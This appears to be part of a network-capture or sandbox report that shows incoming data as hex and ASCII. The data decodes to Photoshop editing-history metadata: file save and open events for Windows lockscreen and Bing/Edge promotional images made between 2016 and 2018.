6c 65 20 43 3a Data Ascii: ows10\Edge\_Crops\Edge-Lifestyle_GettyImages-538801788_1920x1080.jpg saved 2016-07-26T10:48:15-07:00 File C:\Users\v-lizagh\MS\Windows10\Edge\_Crops\Edge-Lifestyle_GettyImages-538801872_1920x1080.jpg saved 2016-07-26T10:48:36-07:00 File C:
2022-07-20 07:08:24 UTC	506	IN	Data Raw: 72 66 61 63 65 5c 4a 75 61 6e 5c 53 75 72 66 61 63 65 50 65 6e 5c 43 72 6f 70 73 5c 53 55 52 31 35 5f 50 65 6e 5f 30 31 5f 53 4c 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 38 2d 33 31 54 31 33 3a 34 32 3a 32 35 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 39 2d 31 32 54 31 30 3a 32 36 3a 31 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 6f 70 65 6e 65 64 Data Ascii: rface\Juan\SurfacePen\Crops\SUR15_Pen_01_SL_1920x1080.jpg saved 2016-08-31T13:42:25-07:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1920x1080_Landscape.psd saved 2016-09-12T10:26:11-07:00 File Lockscreen_1920x1080_Landscape.psd opened
2022-07-20 07:08:24 UTC	554	IN	Data Raw: 61 74 69 6f 6e 2d 46 49 4e 41 4c 2d 4e 4f 48 45 41 44 4c 49 4e 45 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 30 2d 31 34 54 31 34 3a 34 35 3a 34 35 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 30 2d 31 37 54 30 38 3a 33 33 3a 34 30 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 48 6f 6c 69 64 61 79 53 68 6f 70 70 69 6e 67 5c 4d 49 54 2d 48 6f 6c 69 64 61 79 Data Ascii: ation-FINAL-NOHEADLINE.jpg saved 2016-10-14T14:45:45-07:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1920x1080_Landscape.psd saved 2016-10-17T08:33:40-07:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\HolidayShopping\MIT-Holiday
2022-07-20 07:08:24 UTC	609	IN	Data Raw: 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 32 30 54 31 35 3a 32 33 3a 32 39 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 Data Ascii: h\MS\Windows10\Lockscreen_1920x1080_Landscape.psd saved 2016-11-20T15:23:29-08:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb saved 2016
2022-07-20 07:08:24 UTC	726	IN	Data Raw: 31 2d 32 37 54 30 38 3a 35 35 3a 33 33 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 30 31 2d 32 37 54 30 39 3a 30 35 3a 31 30 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 Data Ascii: 1-27T08:55:33-08:00 File Lockscreen_1920x1080_Landscape.psd opened 2017-01-27T09:05:10-08:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb
2022-07-20 07:08:24 UTC	742	IN	Data Raw: 45 64 67 65 2d 4e 41 41 45 45 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 33 30 30 38 35 37 35 37 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 32 2d 32 33 54 30 39 3a 35 30 3a 32 35 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 45 64 67 65 2d 4e 41 41 45 45 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 34 39 34 32 33 30 32 34 5f 31 39 32 30 78 31 30 38 30 32 36 32 32 44 30 30 36 39 37 44 43 37 37 42 46 37 39 36 33 43 38 44 43 34 34 45 39 32 41 36 32 2e 70 73 62 20 73 61 76 65 64 Data Ascii: Edge-NAAEE_GettyImages-530085757_1920x1080.jpg saved 2017-02-23T09:50:25-08:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Edge-NAAEE_GettyImages-149423024_1920x10802622D00697DC77BF7963C8DC44E92A62.psb saved
2022-07-20 07:08:24 UTC	813	IN	Data Raw: 48 4f 53 45 4e 5c 4d 49 54 2d 53 70 72 69 6e 67 45 6e 74 6d 6e 74 2d 41 70 72 69 6c 5f 35 30 30 70 78 2d 31 31 34 32 32 30 36 36 33 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 33 2d 31 34 54 31 32 3a 30 37 3a 33 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4d 49 54 2d 53 70 72 69 6e 67 45 6e 74 6d 6e 74 2d 41 70 72 69 6c 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 37 36 39 36 39 32 30 39 5f 31 39 32 30 78 31 30 38 30 34 42 39 39 32 36 36 32 44 43 33 34 41 44 39 32 43 30 Data Ascii: HOSEN\MIT-SpringEntmnt-April_500px-114220663_1920x1080.jpg saved 2017-03-14T12:07:34-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_MIT-SpringEntmnt-April_GettyImages-476969209_1920x10804B992662DC34AD92C0
2022-07-20 07:08:24 UTC	829	IN	Data Raw: 6f 72 6b 5c 43 48 4f 53 45 4e 5c 42 69 6e 67 41 74 57 6f 72 6b 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 34 39 38 37 35 31 33 31 5f 31 39 32 30 78 31 30 38 30 5f 77 74 72 6d 72 6b 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 2d 31 32 54 31 35 3a 35 39 3a 34 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 42 69 6e 67 41 74 57 6f 72 6b 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 33 37 31 34 34 32 39 33 5f 31 39 32 30 78 31 30 38 30 35 39 41 41 44 33 32 31 32 43 45 45 35 33 45 42 39 30 30 32 44 33 33 35 Data Ascii: ork\CHOSEN\BingAtWork_GettyImages-149875131_1920x1080_wtrmrk.jpg saved 2017-04-12T15:59:47-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_BingAtWork_GettyImages-137144293_1920x108059AAD3212CEE53EB9002D335
2022-07-20 07:08:24 UTC	909	IN	Data Raw: 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 5c 43 72 65 61 74 6f 72 73 55 70 64 61 74 65 5c 43 48 4f 53 45 4e 5c 57 69 6e 2d 43 72 65 61 74 6f 72 73 55 70 64 61 74 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 37 38 38 33 34 36 35 35 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 31 54 31 30 3a 34 35 3a 34 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 57 69 6e 2d 43 72 65 61 74 6f 72 73 55 70 64 61 74 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 31 31 36 37 35 35 Data Ascii: Windows10\Windows\CreatorsUpdate\CHOSEN\Win-CreatorsUpdate_GettyImages-678834655_1920x1080.jpg saved 2017-05-11T10:45:42-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Win-CreatorsUpdate_GettyImages-5116755
2022-07-20 07:08:24 UTC	949	IN	Data Raw: 78 41 3b 32 30 31 37 2d 30 35 2d 31 35 54 31 35 3a 35 36 3a 30 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 35 54 31 38 3a 34 36 3a 33 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 Data Ascii: xA;2017-05-15T15:56:02-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb saved 2017-05-15T18:46:34-07:00 File C:\Users\v-lizagh\MS\Windows
2022-07-20 07:08:24 UTC	1068	IN	Data Raw: 74 74 65 72 73 74 6f 63 6b 5f 33 38 31 34 39 37 38 35 34 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 30 39 54 31 32 3a 32 30 3a 31 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4f 66 66 69 63 65 33 36 35 2d 47 65 6e 65 72 69 63 53 70 6f 74 6c 69 67 68 74 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 35 39 34 38 37 35 39 33 5f 31 39 32 30 78 31 30 38 30 34 34 46 32 32 33 30 32 36 30 34 45 37 30 34 30 46 31 44 37 31 41 34 46 46 30 44 39 42 37 44 31 2e 70 73 62 20 73 61 76 65 Data Ascii: tterstock_381497854_1920x1080.jpg saved 2017-07-09T12:20:14-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Office365-GenericSpotlight_GettyImages-459487593_1920x108044F22302604E7040F1D71A4FF0D9B7D1.psb save
2022-07-20 07:08:24 UTC	1100	IN	Data Raw: 57 69 6e 64 6f 77 73 31 30 5c 42 69 6e 67 5c 53 70 6f 74 6c 69 67 68 74 51 75 69 7a 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 42 69 6e 67 53 70 6f 74 6c 69 67 68 74 51 75 69 7a 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 30 34 35 30 38 32 33 30 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 33 31 54 31 30 3a 35 39 3a 31 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 69 6e 67 5c 53 70 6f 74 6c 69 67 68 74 51 75 69 7a 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 42 69 6e 67 53 70 6f 74 6c 69 67 68 74 51 75 69 7a 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 31 39 36 34 32 37 30 32 5f 31 39 32 30 78 31 30 38 30 Data Ascii: Windows10\Bing\SpotlightQuiz\_CHOSEN\Crops\BingSpotlightQuiz_GettyImages-504508230_1920x1080.jpg saved 2017-07-31T10:59:19-07:00 File C:\Users\v-lizagh\MS\Windows10\Bing\SpotlightQuiz\_CHOSEN\Crops\BingSpotlightQuiz_GettyImages-519642702_1920x1080
2022-07-20 07:08:24 UTC	1147	IN	Data Raw: 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 69 6e 67 45 64 67 65 47 72 6f 77 74 68 49 6d 61 67 65 73 5c 4c 6f 63 6b 32 30 31 37 5f 42 61 74 63 68 37 5c 52 41 57 53 5c 43 72 6f 70 73 5c 4c 6f 63 6b 32 30 31 37 2d 42 37 5f 45 6e 63 68 61 6e 74 6d 65 6e 74 4d 74 6e 73 57 41 5f 4f 66 66 73 65 74 5f 31 33 34 35 31 33 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 31 36 54 31 35 3a 34 33 3a 30 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 Data Ascii: File C:\Users\v-lizagh\MS\Windows10\BingEdgeGrowthImages\Lock2017_Batch7\RAWS\Crops\Lock2017-B7_EnchantmentMtnsWA_Offset_134513_1920x1080.jpg saved 2017-08-16T15:43:04-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017
2022-07-20 07:08:24 UTC	1179	IN	Data Raw: 78 41 3b 32 30 31 37 2d 30 39 2d 32 37 54 31 32 3a 31 36 3a 30 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 39 2d 32 37 54 31 32 3a 32 30 3a 31 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 Data Ascii: xA;2017-09-27T12:16:02-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb saved 2017-09-27T12:20:13-07:00 File C:\Users\v-lizagh\MS\Windows
2022-07-20 07:08:24 UTC	1195	IN	Data Raw: 65 72 5c 5f 4d 49 54 2d 54 68 61 6e 6b 73 67 69 76 69 6e 67 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 36 30 30 31 38 32 39 36 5f 31 39 32 30 78 31 30 38 30 37 38 38 44 45 30 46 31 30 34 33 39 37 36 41 38 42 32 30 37 31 46 34 37 36 42 42 32 46 45 45 35 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 31 2d 30 39 54 31 31 3a 34 36 3a 32 37 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 54 68 61 6e 6b 73 67 69 76 69 6e 67 5c 4e 6f 76 32 30 31 37 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 54 68 61 6e 6b 73 67 69 76 69 6e 67 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 33 32 34 34 37 31 35 30 36 5f 31 39 Data Ascii: er\_MIT-Thanksgiving_GettyImages-160018296_1920x1080788DE0F1043976A8B2071F476BB2FEE5.psb saved 2017-11-09T11:46:27-08:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\Thanksgiving\Nov2017\CHOSEN\Crops\MIT-Thanksgiving_shutterstock_324471506_19
2022-07-20 07:08:24 UTC	1267	IN	Data Raw: 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4d 49 54 2d 42 6c 61 63 6b 46 72 69 64 61 79 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 38 34 34 35 35 31 31 32 34 5f 31 39 32 30 78 31 30 38 30 38 39 35 39 45 44 38 35 34 44 32 46 33 39 46 34 36 33 35 34 31 30 30 34 30 41 33 31 36 30 45 43 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 31 2d 32 32 54 31 31 3a 34 31 3a 34 34 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 53 72 65 77 61 72 64 73 5c 4e 5a 2d 53 69 6e 67 2d 49 52 45 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 53 52 65 77 61 72 64 73 2d 49 72 65 6c 61 6e Data Ascii: \Adobe\Adobe Photoshop CC 2017\AutoRecover\_MIT-BlackFriday_GettyImages-844551124_1920x10808959ED854D2F39F4635410040A3160EC.psb saved 2017-11-22T11:41:44-08:00 File C:\Users\v-lizagh\MS\Windows10\MSrewards\NZ-Sing-IRE\CHOSEN\Crops\MSRewards-Irelan
2022-07-20 07:08:24 UTC	1290	IN	Data Raw: 31 37 2d 31 32 2d 32 30 54 32 31 3a 34 32 3a 30 37 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 32 30 54 32 32 3a 33 34 3a 32 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 32 30 54 32 32 3a 33 36 3a 31 37 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 Data Ascii: 17-12-20T21:42:07-08:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1920x1080_Landscape.psd saved 2017-12-20T22:34:28-08:00 File Lockscreen_1920x1080_Landscape.psd opened 2017-12-20T22:36:17-08:00 File C:\Users\v-lizagh\MS\Windows10
2022-07-20 07:08:24 UTC	1330	IN	Data Raw: 36 30 32 30 32 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 31 2d 33 30 54 31 37 3a 30 35 3a 31 35 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 44 36 31 35 44 35 46 38 38 34 42 44 42 39 37 46 39 38 46 38 45 42 46 31 42 32 46 36 35 39 33 35 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 31 2d 33 30 54 31 39 3a 30 30 3a 33 30 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 Data Ascii: 60202_1920x1080.jpg saved 2018-01-30T17:05:15-08:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Lockscreen_1920x1080_LandscapeD615D5F884BDB97F98F8EBF1B2F65935.psb saved 2018-01-30T19:00:30-08:00 File C
2022-07-20 07:08:24 UTC	1394	IN	Data Raw: 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 49 54 2d 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 5c 4f 6c 79 6d 70 69 63 73 2d 55 4b 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 55 4b 2d 57 69 6e 74 65 72 4f 6c 79 6d 70 69 63 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 37 39 30 39 33 36 31 32 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 31 35 54 31 32 3a 32 34 3a 30 31 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 49 54 2d 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 5c 4f 6c 79 6d 70 69 63 73 2d 55 4b 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 55 4b 2d 57 Data Ascii: Users\v-lizagh\MS\Windows10\MIT-International\Olympics-UK\CHOSEN\Crops\MIT-UK-WinterOlympics_GettyImages-79093612_1920x1080.psd saved 2018-02-15T12:24:01-08:00 File C:\Users\v-lizagh\MS\Windows10\MIT-International\Olympics-UK\CHOSEN\Crops\MIT-UK-W
2022-07-20 07:08:24 UTC	1449	IN	Data Raw: 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 44 36 31 35 44 35 46 38 38 34 42 44 42 39 37 46 39 38 46 38 45 42 46 31 42 32 46 36 35 39 33 35 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 33 2d 32 31 54 31 35 3a 30 33 3a 34 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 4d 69 78 65 72 45 6e 67 61 67 65 6d 65 6e 74 2d 46 59 31 38 5c Data Ascii: ile C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Lockscreen_1920x1080_LandscapeD615D5F884BDB97F98F8EBF1B2F65935.psb saved 2018-03-21T15:03:46-07:00 File C:\Users\v-lizagh\MS\Windows10\Microsoft\MixerEngagement-FY18\
